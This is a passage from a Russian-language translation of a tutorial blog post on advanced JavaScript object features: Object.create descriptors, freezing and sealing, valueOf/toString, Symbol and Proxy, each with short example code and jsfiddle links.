[jsfiddle](http://jsfiddle.net/btipling/pqdcxnep/) Свойства. описанные при помощи дескриптора, перезаписывают соответствующие свойства прототипа: ``` var prototypeDef = { bar: "protoBar", }; var propertiesDef = { bar: { value: "instanceBar", }, log: { value: function () { console.log(this.bar); } } } var foo = Object.create(prototypeDef, propertiesDef); foo.log(); //logs "instanceBar" ``` [jsfiddle](http://jsfiddle.net/btipling/pqdcxnep/2/) Использование не примитивного типа, например `Array` или `Object` в качестве значений определяемых свойств может быть ошибкой, так как эти свойства расшарятся со всеми созданными экземплярами. ``` var prototypeDef = { protoArray: [], }; var propertiesDef = { propertyArray: { value: [], } } var foo = Object.create(prototypeDef, propertiesDef); var bar = Object.create(prototypeDef, propertiesDef); foo.protoArray.push("foobar"); console.log(bar.protoArray); //logs ["foobar"] foo.propertyArray.push("foobar"); console.log(bar.propertyArray); //also logs ["foobar"] ``` [jsfiddle](http://jsfiddle.net/btipling/pqdcxnep/4/) Этого можно избежать, инициализировав `propertyArray` со значением `null`, после чего добавить необходимый массив, или сделать что-нибудь хипстерское, например использовать геттер: ``` var prototypeDef = { protoArray: [], }; var propertiesDef = { propertyArrayValue_: { value: null, writable: true }, propertyArray: { get: function () { if (!this.propertyArrayValue_) { this.propertyArrayValue_ = []; } return this.propertyArrayValue_; } } } var foo = Object.create(prototypeDef, propertiesDef); var bar = Object.create(prototypeDef, propertiesDef); foo.protoArray.push("foobar"); console.log(bar.protoArray); //logs ["foobar"] foo.propertyArray.push("foobar"); console.log(bar.propertyArray); //logs [] ``` [jsfiddle](http://jsfiddle.net/btipling/pqdcxnep/5/) Это изящный способ объединить инициализацию переменных с их определением. Я думаю, что предпочел бы выполнять определение переменных вместе с их инициализацией и это было бы гораздо лучше, чем делать то же в конструкторе. В прошлом я писал гигантский конструктор, в котором было очень много кода, выполняющего инициализацию. Предыдущий пример демонстрирует необходимость помнить о том, что выражения, переданные любому значению в дескрипторе `Object.create` выполняются в момент определения дескриптора. Это — причина, по которой массивы становились общими для всех экземпляров класса. Я также рекомендую никогда не рассчитывать на фиксированный порядок, когда несколько свойств определяются вместе. Если это действительно необходимо — определить одно свойство раньше других — лучше использовать для него `Object.defineProperty` в этом случае. Так как `Object.create` не вызывает функцию-конструктор, отпадает возможность использовать `instanceof` для проверки идентичности объектов. Вместо этого можно использовать `isPrototypeOf`, который сверяется со свойством `prototype` объекта. Это будет MyFunction.prototype в случае конструктора, или объект, переданный первым аргументом в `Object.create` ``` function Foo() { } var prototypeDef = { protoArray: [], }; var propertiesDef = { propertyArrayValue_: { value: null, writable: true }, propertyArray: { get: function () { if (!this.propertyArrayValue_) { this.propertyArrayValue_ = []; } return this.propertyArrayValue_; } } } var foo1 = new Foo(); //old way using instanceof works with constructors console.log(foo1 instanceof Foo); //logs true //You check against the prototype object, not the constructor function console.log(Foo.prototype.isPrototypeOf(foo1)); //true var foo2 = Object.create(prototypeDef, propertiesDef); //can't use instanceof with Object.create, test against prototype object... //...given as first agument to Object.create console.log(prototypeDef.isPrototypeOf(foo2)); //true ``` [jsfiddle](http://jsfiddle.net/btipling/pqdcxnep/6/) `isPrototypeOf` спускается по цепочке прототипов и возвращает `true`, если любой из них соответствует тому объекту, с которым происходит сравнение. ``` var foo1Proto = { foo: "foo", }; var foo2Proto = Object.create(foo1Proto); foo2Proto.bar = "bar"; var foo = Object.create(foo2Proto); console.log(foo.foo, foo.bar); //logs "foo bar" console.log(foo1Proto.isPrototypeOf(foo)); // logs true console.log(foo2Proto.isPrototypeOf(foo)); // logs true ``` [jsfiddle](http://jsfiddle.net/btipling/pqdcxnep/7/) #### «Пломбирование» объектов, «заморозка» и предотвращение возможности расширения Добавление произвольных свойств случайным объектам и экземплярам класса только потому, что есть такая возможность, код, как минимум, лучше не делает. На node.js и в современных браузерах, в добавок к возможности ограничения изменений отдельных свойств при помощи `defineProperty`, существует возможность ограничить изменения и объекту в целом. `Object.preventExtensions`, `Object.seal` и `Object.freeze` — каждый из этих методов налагает более строгие ограничения на изменения в объекте. В строгом режиме нарушение ограничений, налагаемых этими методами, приведет к тому, что будет брошена ошибка, иначе же ошибки произойдут, но «тихо». Метод `Object.preventExtensions` предотвращает добавление новых свойств в объект. Он не помешает ни изменить открытые для записи свойства, ни удалить те, которые являются настраиваемыми. Кроме того, `Object.preventExtensions` также не лишает возможности использовать вызов `Object.defineProperty` для того, чтобы изменять существующие свойства. ``` var obj = { foo: "foo", }; obj.bar = "bar"; console.log(obj); // logs Object {foo: "foo", bar: "bar"} Object.preventExtensions(obj); delete obj.bar; console.log(obj); // logs Object {foo: "foo"} obj.bar = "bar"; console.log(obj); // still logs Object {foo: "foo"} obj.foo = "foobar" console.log(obj); // logs {foo: "foobar"} can still change values ``` [jsfiddle](http://jsfiddle.net/btipling/dwyuz997/3/) *(обратите внимание, что предыдущий jsfiddle нужно будет перезапустить с открытой консолью разработчика, т.к. в консоль могут вывестись только окончательные значения объекта)* `Object.seal` идет дальше. чем `Object.preventExtensions`. В дополнение к запрету на добавление новых свойств к объекту, этот метод также ограничивает возможности дальнейшей настройки и удаления существующих свойств. Как только объект был «опломбирован», вы больше не можете изменять существующие свойства при помощи `defineProperty`. Как было упомянуто выше, нарушение этих запретов в строгом режиме приведет к тому, что будет брошена ошибка. ``` "use strict"; var obj = {}; Object.defineProperty(obj, "foo", { value: "foo" }); Object.seal(obj); //Uncaught TypeError: Cannot redefine property: foo Object.defineProperty(obj, "foo", { value: "bar" }); ``` [jsfiddle](http://jsfiddle.net/btipling/dwyuz997/6/) Вы также не можете удалять свойства даже если они были изначально настраиваемыми. Остается возможность только изменять значения свойств. ``` "use strict"; var obj = {}; Object.defineProperty(obj, "foo", { value: "foo", writable: true, configurable: true, }); Object.seal(obj); console.log(obj.foo); //logs "foo" obj.foo = "bar"; console.log(obj.foo); //logs "bar" delete obj.foo; //TypeError, cannot delete ``` [jsfiddle](http://jsfiddle.net/btipling/dwyuz997/9/) В конце концов, `Object.freeze` делает объект абсолютно защищенным от изменений. Нельзя добавить, удалить или изменить значения свойств замороженного «объекта». Также нет никакой возможности воспользоваться `Object.defineProperty` с целью изменить значения существующих свойств объекта. ``` "use strict"; var obj = { foo: "foo1" }; Object.freeze(obj); //All of the following will fail, and result in errors in strict mode obj.foo = "foo2"; //cannot change values obj.bar = "bar"; //cannot add a property delete obj.bar; //cannot delete a property //cannot call defineProperty on a frozen object Object.defineProperty(obj, "foo", { value: "foo2" }); ``` [jsfiddle](http://jsfiddle.net/btipling/dwyuz997/10/) Методы позволяющие проверить является ли объект «замороженным», «опломбированным» или защищенным от расширения следующие: `Object.isFrozen`, `Object.isSealed` и `Object.isExtensible` #### valueOf и toString Можно использовать `valueOf` и `toString` для настройки поведения объекта в контексте, когда JavaScript ожидает получить примитивное значение. Вот пример использования `toString`: ``` function Foo (stuff) { this.stuff = stuff; } Foo.prototype.toString = function () { return this.stuff; } var f = new Foo("foo"); console.log(f + "bar"); //logs "foobar" ``` [jsfiddle](http://jsfiddle.net/btipling/LgacxLbL/3/) И `valueOf`: ``` function Foo (stuff) { this.stuff = stuff; } Foo.prototype.valueOf = function () { return this.stuff.length; } var f = new Foo("foo"); console.log(1 + f); //logs 4 (length of "foo" + 1); ``` [jsfiddle](http://jsfiddle.net/btipling/LgacxLbL/5/) Соединив использование этих двух методов можно получить неожиданный результат: ``` function Foo (stuff) { this.stuff = stuff; } Foo.prototype.valueOf = function () { return this.stuff.length; } Foo.prototype.toString = function () { return this.stuff; } var f = new Foo("foo"); console.log(f + "bar"); //logs "3bar" instead of "foobar" console.log(1 + f); //logs 4 (length of "foo" + 1); ``` [jsfiddle](http://jsfiddle.net/btipling/LgacxLbL/6/) Правильный способ использовать `toString` это сделать объект хэшируемым: ``` function Foo (stuff) { this.stuff = stuff; } Foo.prototype.toString = function () { return this.stuff; } var f = new Foo("foo"); var obj = {}; obj[f] = true; console.log(obj); //logs {foo: true} ``` [jsfiddle](http://jsfiddle.net/btipling/LgacxLbL/8/) #### getOwnPropertyNames и keys Для того, чтобы получить все свойства объекта, можно использовать `Object.getOwnPropertyNames`. Если вы знакомы с python, то он, в общем, аналогичен методу `keys` словаря, хотя метод `Object.keys` также существует. Основная разница между `Object.keys` и `Object.getOwnPropertyNames` в том, что последний также возвращает «неперечисляемые» свойства, те, которые не будут учитываться при работе цикла `for in`. ``` var obj = { foo: "foo", }; Object.defineProperty(obj, "bar", { value: "bar" }); console.log(Object.getOwnPropertyNames(obj)); //logs ["foo", "bar"] console.log(Object.keys(obj)); //logs ["foo"] ``` [jsfiddle](http://jsfiddle.net/btipling/ookcucwm/1/) #### Symbol `Symbol` это специальный новый примитив, определенный в ECMAScrpt 6 harmony, и он будет доступен в следующей итерации JavaScript. Его уже сейчас можно попробовать в Chrome Canary и Firefox Nightly и следующие примеры на jsfiddle будут работать только в этих браузерах, по крайней мере на время написания этого поста, в августе 2014. `Symbol` могут быть использованы как способ создать и ссылаться на свойства объекта ``` var obj = {}; var foo = Symbol("foo"); obj[foo] = "foobar"; console.log(obj[foo]); //logs "foobar" ``` [jsfiddle](http://jsfiddle.net/btipling/5c35eyav/) `Symbol` уникален и является неизменным ``` //console logs false, symbols are unique: console.log(Symbol("foo") === Symbol("foo")); ``` [jsfiddle](http://jsfiddle.net/btipling/5c35eyav/2/) `Symbol` можно использовать вместе с `Object.defineProperty`: ``` var obj = {}; var foo = Symbol("foo"); Object.defineProperty(obj, foo, { value: "foobar", }); console.log(obj[foo]); //logs "foobar" ``` [jsfiddle](http://jsfiddle.net/btipling/5c35eyav/3/) Свойства, определенные при помощи `Symbol` не будут итерироваться в цикле `for in`, однако вызов `hasOwnProperty` сработает нормально: ``` var obj = {}; var foo = Symbol("foo"); Object.defineProperty(obj, foo, { value: "foobar", }); console.log(obj.hasOwnProperty(foo)); //logs true ``` [jsfiddle](http://jsfiddle.net/btipling/5c35eyav/4/) `Symbol` не попадет в массив, возвращаемый функцией `Object.getOwnPropertyNames`, но зато есть метод `Object. getOwnPropertySymbols` ``` var obj = {}; var foo = Symbol("foo"); Object.defineProperty(obj, foo, { value: "foobar", }); //console logs [] console.log(Object.getOwnPropertyNames(obj)); //console logs [Symbol(foo)] console.log(Object.getOwnPropertySymbols(obj)); ``` [jsfiddle](http://jsfiddle.net/btipling/5c35eyav/5/) Использование `Symbol` может быть удобным в случае, если вы хотите не только защитить свойство от случайного изменения, но вы даже не хотите его показывать в ходе обычной работы. Я пока не задумывался всерьёз над всеми потенциальными возможностями, но считаю, что их ещё может быть гораздо больше. #### Proxy Ещё одно нововведение в ECMAScript 6 это `Proxy`. Состоянием на август 2014 года прокси работают только в Firefox. Следующий пример с jsfiddle будет работать только в Firefox и, фактически, я тестировал его в Firefox beta, который был у меня установлен. Я нахожу прокси восхитительными, потому что они дают возможность подхватить все свойства, обратите внимание на пример: ``` var obj = { foo: "foo", }; var handler = { get: function (target, name) { if (target.hasOwnProperty(name)) { return target[name]; } return "foobar"; }, }; var p = new Proxy(obj, handler); console.log(p.foo); //logs "foo" console.log(p.bar); //logs "foobar" console.log(p.asdf); //logs "foobar" ``` [jsfiddle](http://jsfiddle.net/btipling/d4he6u4t/4/) В этом примере мы проксируем объект `obj`. Мы создаем объект `handler`, который будет обрабатывать взаимодействие с создаваемым объектом. Метод обработчика `get` довольно прост. Он принимает объект и имя свойства, к которому осуществляется доступ. Эту информацию можно возвращать когда угодно, но в нашем примере возвращается фактическое значение, если ключ есть и «foobar», если его нет. Я вижу огромное поле возможностей и интересных способов использования прокси, один из которых немного похож на `switch`, такой, как в `Scala`. Ещё одна область применения для прокси это тестирование. Кроме `get` есть ещё и другие обработчики: `set`, `has`, прочие. Когда прокси получат поддержку получше, я не задумываясь уделю им целый пост в своем блоге. Советую посмотреть документацию MDN по прокси и обратить внимание на приведенные примеры. Кроме прочего есть ещё и отличный с доклад с jsconf о прокси, который я очень рекомендую: [видео](https://www.youtube.com/watch?v=sClk6aB_CPk) | [слайды](http://jsconf.eu/2010/speaker/be_proxy_objects.html) Существует много способов использовать объекты в JavaScript более глубоко, чем просто хранилище случайных данных. Уже сейчас доступны мощные способы определения свойств, а в будущем нас ждет, как вы можете убедиться, подумав о том, как прокси может изменить способ написания кода на JavaScript, ещё много интересного. Если у вас есть какие-либо уточнения или замечания, дайте пожалуйста мне знать об этом, вот мой твиттер: @bjorntipling.
https://habr.com/ru/post/241465/
null
ru
null